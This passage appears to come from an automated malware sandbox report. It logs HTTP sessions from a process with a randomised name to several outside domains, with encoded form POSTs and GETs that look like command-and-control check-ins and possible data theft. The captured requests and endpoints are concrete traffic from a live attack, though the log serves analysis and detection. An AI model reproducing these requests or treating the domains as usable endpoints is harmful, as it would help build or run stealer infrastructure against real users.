70 4a 48 55 77 41 2f 55 6a 43 78 79 79 57 77 50 68 65 49 42 39 59 71 53 5a 4e 35 36 34 71 4d 51 6a 54 6c 79 46 4f 4c 73 6f 33 43 44 69 37 46 71 67 58 70 56 50 4e 48 74 6f 54 75 59 71 4f 4d 55 72 48 73 30 7a 31 43 55 33 31 50 31 6f 4e 47 63 55 62 38 43 65 4e 4b 49 61 6d 4f 65 57 4b 6d 4e 69 74 77 6b 73 62 63 48 73 48 6d 6f 6c 4c 39 6c 50 58 51 42 6e 30 35 6b 53 58 4e 37 6c 6e 62 47 78 4e 4c 71 73 46 38 67 39 46 73 70 58 50 4e 62 44 44 7a 30 76 30 57 68 72 61 53 4c 59 76 41 44 59 51 4b 49 [TRUNCATED] Data Ascii: SLTxDJ=UpVFd41Y/Cn/xQ36wvMsP1Bro1k2tCecOQUYgzhqCj/G7L6y8G0OWMwnydvuAakT+1eYB/vYosAtSt9H5h12uRXyLz6sP3uwTr1nrzn/fNtwqmiiwJHiUbQuh1Wh0F3dc7jtlIhl35cOZw+dFLUzsSbvYoK85EUutlsLulGpJHUwA/UjCxyyWwPheIB9YqSZN564qMQjTlyFOLso3CDi7FqgXpVPNHtoTuYqOMUrHs0z1CU31P1oNGcUb8CeNKIamOeWKmNitwksbcHsHmolL9lPXQBn05kSXN7lnbGxNLqsF8g9FspXPNbDDz0v0WhraSLYvADYQKI6+Em2NsGJSzekLl0bEuqd3Ebv0oK8yHbRcHO8A52+hFygbQqFT1E+PvVxdEd02YjYl3/gIMWyM4v8lCWQy7ct7RYXahUanbJs7JF0Gy+TF8kBPbbUWC6FWOcXNKtrBHK9xUurbgDHNYJcXTBleaWjHM8URbdYSrhm1NC+DU/3euGUNuhOGWzLwCrrX+1Jd513rwbsCZzDO/P3BncqsDE+PyKpwqlp1DOHyG0/2ZWE3228yVraUn4atQ5sQVjI2yi3N5WW6s2/vaxgtCQvAWR+EzwvNb1eWYcORElf0D5di+FGaQauV1Rl66MXPF6/8vppRdwTzGtzmzsH2AY7EG3kvWC9vMD3fgMRVvmmQK/5FgZcgfpSosrDCFCE6nJZ5iGlcV2KHAnVou8utc1CMK7nxwqnajs0EeZn0dl9V9jw+9RurRxsRZg00rVAT1zKeHpvEjlRr1fMnEwElAgR+3qIzgwC6P3gDEX4ZBmkS1taHZk5mo4JChCifYqT+2nUFwfchocYiddMVIi8I0gGkmD965ikrJBq9yYc7YVGh8XBsXO6RH4dC1c/LK8rg2vjCUGHycyAPJBQ8YCu54n7ixVbHCvsgU6Pinutu5LSQInDNb1zkp6O1+g/lv3uyAS7pZD/XJ55poCHTbWruX3C9ggmgw2PK//82Ovbu [TRUNCATED]
Oct 3, 2024 18:13:38.402476072 CEST	2578	OUT	Data Raw: 4c 57 35 6f 78 54 41 58 66 79 42 46 4d 6a 72 45 6d 45 2f 65 4c 42 47 64 70 32 53 73 36 37 2f 66 53 33 42 69 35 63 53 51 42 42 56 4d 2f 79 63 36 62 56 5a 72 37 46 54 74 58 56 7a 71 64 64 66 43 77 62 36 6b 7a 5a 45 6d 47 57 30 76 66 62 4f 69 41 4b Data Ascii: LW5oxTAXfyBFMjrEmE/eLBGdp2Ss67/fS3Bi5cSQBBVM/yc6bVZr7FTtXVzqddfCwb6kzZEmGW0vfbOiAKAvU73pHvOh7iZL29QPL//cI+WBpOrVfbL5Xfqu6n9vXqlEWE/BmhdplezdOWhivsPPouqrUs0a6ZzsL4K9ENiDLEzS8sGhtOmsj55Ok6Fi4lwr8GRAoJdof5gK2cKoGsNG6NWslA0A9bnh8b6N1bhN7QE1bLDnhmv
Oct 3, 2024 18:13:38.402524948 CEST	2791	OUT	Data Raw: 44 43 54 2b 78 70 71 44 52 75 56 76 66 46 33 51 2b 6f 6d 71 35 6d 4c 67 4c 37 6e 31 49 58 54 79 33 45 78 77 67 38 50 55 55 52 77 78 73 38 37 6d 48 77 53 55 79 76 4c 52 69 35 72 78 62 63 62 68 4f 50 62 69 44 71 44 42 6e 70 6b 78 6f 2f 63 67 39 6a Data Ascii: DCT+xpqDRuVvfF3Q+omq5mLgL7n1IXTy3Exwg8PUURwxs87mHwSUyvLRi5rxbcbhOPbiDqDBnpkxo/cg9jw0tCYqR/OMjKJZuHZMCoGvkNIyWWm0VdUiYHQju7Q8QEu54YGmWe3SdN9y1mFf8wscbaw5XqsucbXdIoxIKmLuVGkmBLsS6dp13j0Nj0zCpiN6HTqpuN1JbMF6e0B2ffV+kje3V9m5kqIORHoEKLiHjpCfdQDaDzX
Oct 3, 2024 18:13:39.144876003 CEST	1289	OUT	Data Raw: 53 6e 4f 55 58 31 44 41 43 76 48 33 6c 42 75 56 58 63 6d 6f 70 62 50 73 64 76 34 70 56 4b 63 52 56 69 54 31 62 5a 52 4f 34 4f 6c 44 59 68 39 38 79 30 74 45 73 56 4b 4c 49 2f 35 48 7a 51 38 6f 45 52 6f 72 75 6a 35 78 78 78 64 50 79 63 68 42 4c 4e Data Ascii: SnOUX1DACvH3lBuVXcmopbPsdv4pVKcRViT1bZRO4OlDYh98y0tEsVKLI/5HzQ8oERoruj5xxxdPychBLN24RZ9Xt8opiMaOv2L3X04kXAaS10QfiHiC4qCm6R8QROmBLWgs+3aNkloJxCJ8nI1hp9u4m1/CWpNatGUQok0WH8ZDGMI1UX4S6zFTRbmDbdJfqfpL7yYmB/OZwX5tXNHX55Y5z8OFhtUKY/nGEfDfKnKR3+MLGMV
Oct 3, 2024 18:13:44.460156918 CEST	124	IN	HTTP/1.1 499 status code 499 X-Cache: BYPASS Date: Thu, 03 Oct 2024 16:13:40 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49761	103.149.183.47	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:42.300376892 CEST	516	OUT	GET /osru/?SLTxDJ=Zr9lePhs13vfiSXUgPBOQmFuuEIf7wPoKDQkwm1HCgeL+p61jRVuWaM60djbP4lo+XHfO/zYruNTVKRckEUHjUHONRjPInqHY94AphWcG+NTuGKPqY7AU7g=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.ciao83.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:13:52.915359020 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Length: 1163 Content-Type: text/html Date: Thu, 03 Oct 2024 15:57:42 GMT Server: Microsoft-IIS/8.5 X-Cache: BYPASS Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> [TRUNCATED]
Oct 3, 2024 18:13:52.915395975 CEST	47	IN	Data Raw: 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49762	52.223.13.41	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:59.593293905 CEST	784	OUT	POST /i214/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.diterra.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.diterra.shop Referer: http://www.diterra.shop/i214/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 78 4a 57 50 33 57 71 64 70 57 6e 44 59 36 4f 6e 51 53 4d 6f 6b 6a 62 38 66 37 56 67 30 42 78 47 30 6e 48 75 2f 74 77 63 4e 7a 56 50 61 79 63 42 4c 67 4e 32 51 64 39 75 63 4d 41 71 37 2f 6a 38 45 50 5a 6f 71 51 54 59 32 56 6a 63 41 74 35 50 4f 51 77 2f 6b 79 55 58 75 54 2f 44 31 66 59 4d 36 2f 49 68 2b 44 41 46 41 4b 78 43 7a 4d 50 72 73 61 75 7a 78 31 44 2b 76 35 65 67 55 6d 70 43 6c 69 69 75 5a 73 55 30 57 2b 53 4e 41 6a 73 68 51 6f 59 64 69 61 61 51 4f 6b 65 6d 77 44 78 51 59 51 62 44 77 52 6b 6b 48 47 4c 6d 6c 63 4b 52 46 76 43 70 50 59 69 53 62 74 6a 43 70 62 6e 6b 57 41 3d 3d Data Ascii: SLTxDJ=xJWP3WqdpWnDY6OnQSMokjb8f7Vg0BxG0nHu/twcNzVPaycBLgN2Qd9ucMAq7/j8EPZoqQTY2VjcAt5POQw/kyUXuT/D1fYM6/Ih+DAFAKxCzMPrsauzx1D+v5egUmpCliiuZsU0W+SNAjshQoYdiaaQOkemwDxQYQbDwRkkHGLmlcKRFvCpPYiSbtjCpbnkWA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49763	52.223.13.41	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:02.228802919 CEST	804	OUT	POST /i214/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.diterra.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.diterra.shop Referer: http://www.diterra.shop/i214/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 78 4a 57 50 33 57 71 64 70 57 6e 44 59 62 2b 6e 58 78 6b 6f 73 6a 62 2f 61 37 56 67 75 78 78 43 30 6e 4c 75 2f 73 6c 45 4e 42 42 50 61 53 4d 42 4b 68 4e 32 56 64 39 75 55 73 41 72 6d 76 6a 7a 45 50 56 61 71 51 66 59 32 54 50 63 41 6f 39 50 4f 68 77 77 6c 69 55 4a 6b 44 2f 42 71 76 59 4d 36 2f 49 68 2b 48 51 6a 41 4d 5a 43 7a 38 2f 72 74 37 75 79 75 46 44 78 6f 35 65 67 51 6d 70 47 6c 69 69 63 5a 70 77 4f 57 38 71 4e 41 69 63 68 54 36 38 65 74 61 61 73 41 45 66 75 30 77 49 63 44 6a 37 56 2f 47 45 44 66 55 4c 6c 67 4b 62 4c 59 64 32 4e 4d 4c 2b 67 66 64 61 71 72 5a 6d 2f 4c 48 4f 74 2f 62 36 71 4c 32 61 79 62 52 6e 73 30 61 44 63 41 63 59 3d Data Ascii: SLTxDJ=xJWP3WqdpWnDYb+nXxkosjb/a7VguxxC0nLu/slENBBPaSMBKhN2Vd9uUsArmvjzEPVaqQfY2TPcAo9POhwwliUJkD/BqvYM6/Ih+HQjAMZCz8/rt7uyuFDxo5egQmpGliicZpwOW8qNAichT68etaasAEfu0wIcDj7V/GEDfULlgKbLYd2NML+gfdaqrZm/LHOt/b6qL2aybRns0aDcAcY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49764	52.223.13.41	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:04.853615999 CEST	2578	OUT	POST /i214/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.diterra.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.diterra.shop Referer: http://www.diterra.shop/i214/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 78 4a 57 50 33 57 71 64 70 57 6e 44 59 62 2b 6e 58 78 6b 6f 73 6a 62 2f 61 37 56 67 75 78 78 43 30 6e 4c 75 2f 73 6c 45 4e 42 35 50 62 67 30 42 4c 43 31 32 53 64 39 75 61 4d 41 75 6d 76 6a 75 45 50 4e 65 71 51 43 74 32 57 54 63 42 4f 42 50 48 7a 49 77 76 69 55 4a 73 6a 2f 41 31 66 59 56 36 2f 34 6c 2b 44 4d 6a 41 4d 5a 43 7a 2f 33 72 6b 4b 75 79 73 46 44 2b 76 35 65 6b 55 6d 70 36 6c 69 36 32 5a 6f 78 7a 57 50 69 4e 44 42 6b 68 52 49 6b 65 79 71 61 71 48 45 65 6f 30 78 31 65 44 6a 6e 7a 2f 47 59 39 66 54 66 6c 67 75 54 58 4b 35 71 7a 62 4b 4b 54 62 75 65 72 38 76 69 39 4e 6c 7a 52 30 4c 2f 4c 43 54 6d 74 55 78 76 66 72 34 48 44 52 49 73 45 31 7a 49 6e 62 79 6a 59 53 75 6e 49 73 30 5a 77 4d 50 39 38 68 6c 6d 65 4e 69 58 75 4e 7a 5a 57 4d 56 78 42 50 54 6d 57 6a 36 67 7a 4d 31 43 4a 32 77 4a 7a 42 62 4d 34 4f 47 75 59 51 72 4d 45 76 77 79 64 48 2b 63 70 74 33 2f 53 58 48 4f 38 32 53 66 43 4c 38 51 58 4d 73 76 64 39 45 52 75 36 72 36 6f 52 2f 78 36 61 56 37 45 6c 5a 77 38 4f 50 6a [TRUNCATED] Data Ascii: SLTxDJ=xJWP3WqdpWnDYb+nXxkosjb/a7VguxxC0nLu/slENB5Pbg0BLC12Sd9uaMAumvjuEPNeqQCt2WTcBOBPHzIwviUJsj/A1fYV6/4l+DMjAMZCz/3rkKuysFD+v5ekUmp6li62ZoxzWPiNDBkhRIkeyqaqHEeo0x1eDjnz/GY9fTflguTXK5qzbKKTbuer8vi9NlzR0L/LCTmtUxvfr4HDRIsE1zInbyjYSunIs0ZwMP98hlmeNiXuNzZWMVxBPTmWj6gzM1CJ2wJzBbM4OGuYQrMEvwydH+cpt3/SXHO82SfCL8QXMsvd9ERu6r6oR/x6aV7ElZw8OPjEQpCVp7ca/z7pVAGaSvAmSGIT0roVObGhAyaAP9bUYnSpPXiV1Qul+IhNifunMPs8oFKbpjuVGt8/bUXRiHFA/pHpLfvsiJbGS5B29Dh1vGzsqRJgwAes4fdDIiSeLOYrFnuM2OPau0wKN2iklvvzVZRh0f1SIg9VFyyFreQa68NjxNYkjtUikzHT2jOUgHts24qOGQ6UcqD4WBrn7Ha25HAT1ri7NQov7iJfUXT3Sjt+NsLndip3kemff0S4i+vtipMYhFo5NkjbdzWxsVZc0HyZi9j4ppILKbAVGqvUOncq6nB5YBVLIwn200LMNba4YF4ZsY06M9Xg0MsUhh/p1WG4vPM77uF5SvEcljXmnEMbnhwUWDDfga0JYmvFFNIHRLimoQOLjV7jsXnZEGodUIvcHQllatfhPziiUT5F67l30IpNfyTxsVilgu6vSZjeuj+K9lUIyNqkrZQdXEIqRX5dvXEsEG0SAG8D3Z9gmoiEURvK1oDmtVhyT9ja8tCPAr/RDVXDL0EJw9xKA6+O5UhDdpklyNwLaa88cNCFiVRjOn3Ukyy9ppRcIlNrUxSFjpIzeG7fWRWivWY5Koa5T5PDG3Ek2ad5q/R8d4oLbEssCDxt3tZ6bItbdmoGsbHLzjRxiS76LWczhYKiOeu6jahq4dTuGHU+f [TRUNCATED]
Oct 3, 2024 18:14:04.853636980 CEST	3867	OUT	Data Raw: 55 74 31 36 4b 4c 35 6c 58 61 77 45 61 61 4c 4d 30 33 6f 57 34 76 6f 6a 52 6b 5a 59 33 73 36 54 6a 5a 44 50 75 34 73 47 2b 57 66 70 76 51 51 54 72 7a 52 50 2b 37 45 69 34 51 62 39 4b 35 6f 65 7a 57 44 39 7a 48 63 57 57 62 4a 63 33 36 33 68 6a 70 Data Ascii: Ut16KL5lXawEaaLM03oW4vojRkZY3s6TjZDPu4sG+WfpvQQTrzRP+7Ei4Qb9K5oezWD9zHcWWbJc363hjp2QoIGBNxMM17Zi9j9F+PnwiBm89TX7ue8mj9E2rp3Xn/18Try9FmsnOIhWcztJU6x2I/QPGsStRM7Cn1hVttr8YqFJMcWPUkLxpgpXy27l0B9KJH319HfmH1vuvQrsWhZcDKLlHtew8g7FPqf1/GyvJ1Bp5Ubk0FJ
Oct 3, 2024 18:14:04.853682995 CEST	1508	OUT	Data Raw: 4e 6e 6f 33 51 31 63 41 5a 52 5a 49 39 54 2f 32 55 66 4f 51 44 55 77 6e 5a 35 58 79 52 53 6b 76 53 55 64 55 6c 32 78 39 42 33 44 34 48 64 2b 46 46 76 34 59 4d 33 58 6d 5a 76 62 66 77 2f 7a 78 66 47 38 67 6a 54 30 78 33 32 76 4e 65 6a 4c 4c 72 64 Data Ascii: Nno3Q1cAZRZI9T/2UfOQDUwnZ5XyRSkvSUdUl2x9B3D4Hd+FFv4YM3XmZvbfw/zxfG8gjT0x32vNejLLrdXOhQp+wJ0i0ZhqaRkCmVKouBeY9Q6NYW/tsGY9IeAVdFP7y35e1pP3fL4s4CUY1G2wN6yQfasHdYe5nrPm1DNJEjGTwFjfxqGaxrRnq5zmOTcFNnuc2b/gwqvyrXz1u23Z1votL03Siqef8KYsrNTkuXOxkkdIRs8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49765	52.223.13.41	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:07.474739075 CEST	518	OUT	GET /i214/?sdqp=DdBtjpu0&SLTxDJ=8L+v0iKQi3SEHLT2WRo67D7fdIZ1owlHl2rmrOR1JwYTeA0xdiNmVuQJUv8W+96NKPQHmSfbhnGjNIdnMhMOhWIupUnYlb8qpfN48FFLVIFHw+P9rJXDvU0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.diterra.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:14:07.577735901 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 16:14:07 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 73 64 71 70 3d 44 64 42 74 6a 70 75 30 26 53 4c 54 78 44 4a 3d 38 4c 2b 76 30 69 4b 51 69 33 53 45 48 4c 54 32 57 52 6f 36 37 44 37 66 64 49 5a 31 6f 77 6c 48 6c 32 72 6d 72 4f 52 31 4a 77 59 54 65 41 30 78 64 69 4e 6d 56 75 51 4a 55 76 38 57 2b 39 36 4e 4b 50 51 48 6d 53 66 62 68 6e 47 6a 4e 49 64 6e 4d 68 4d 4f 68 57 49 75 70 55 6e 59 6c 62 38 71 70 66 4e 34 38 46 46 4c 56 49 46 48 77 2b 50 39 72 4a 58 44 76 55 30 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?sdqp=DdBtjpu0&SLTxDJ=8L+v0iKQi3SEHLT2WRo67D7fdIZ1owlHl2rmrOR1JwYTeA0xdiNmVuQJUv8W+96NKPQHmSfbhnGjNIdnMhMOhWIupUnYlb8qpfN48FFLVIFHw+P9rJXDvU0="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49766	93.125.99.74	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:13.619410038 CEST	790	OUT	POST /8aav/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.casadisole.org Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.casadisole.org Referer: http://www.casadisole.org/8aav/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 52 56 73 68 45 79 35 6d 61 78 45 37 4a 4a 39 4d 75 6d 59 4e 49 4a 32 71 32 56 32 35 68 5a 50 39 32 49 65 61 5a 69 6b 4a 5a 4e 2f 6d 53 48 72 70 4a 6d 6a 6a 63 72 61 6d 79 6f 64 38 77 4f 33 72 67 5a 71 51 70 4e 70 2f 42 48 52 30 61 44 66 4b 72 7a 56 45 46 64 50 36 61 68 4c 7a 45 62 58 2f 75 6f 2b 34 2f 36 4f 76 61 4b 76 4b 58 32 6c 68 31 44 6a 41 4c 54 54 4d 6c 6c 36 6d 69 6a 43 46 43 72 41 64 34 6e 6e 51 50 71 63 50 30 35 55 53 58 48 67 78 7a 4e 72 41 34 79 62 59 62 71 66 4c 33 44 66 6a 38 56 4a 67 53 46 51 4e 32 49 6e 47 55 79 6e 35 34 31 55 54 37 6f 56 46 74 47 44 74 2b 51 3d 3d Data Ascii: SLTxDJ=RVshEy5maxE7JJ9MumYNIJ2q2V25hZP92IeaZikJZN/mSHrpJmjjcramyod8wO3rgZqQpNp/BHR0aDfKrzVEFdP6ahLzEbX/uo+4/6OvaKvKX2lh1DjALTTMll6mijCFCrAd4nnQPqcP05USXHgxzNrA4ybYbqfL3Dfj8VJgSFQN2InGUyn541UT7oVFtGDt+Q==
Oct 3, 2024 18:14:13.836591005 CEST	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:14:13 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49767	93.125.99.74	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:16.343739986 CEST	810	OUT	POST /8aav/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.casadisole.org Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.casadisole.org Referer: http://www.casadisole.org/8aav/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 52 56 73 68 45 79 35 6d 61 78 45 37 4a 70 4e 4d 6a 68 30 4e 41 4a 32 70 36 31 32 35 72 35 50 78 32 49 53 61 5a 6d 38 5a 61 2b 62 6d 53 6d 62 70 4b 6b 48 6a 5a 72 61 6d 39 49 64 35 30 4f 33 69 67 5a 6d 2b 70 50 4e 2f 42 47 78 30 61 42 48 4b 72 43 56 48 45 4e 50 34 54 42 4c 78 5a 4c 58 2f 75 6f 2b 34 2f 36 4b 42 61 4b 6e 4b 55 47 56 68 31 69 6a 44 43 7a 54 50 69 6c 36 6d 6d 6a 43 65 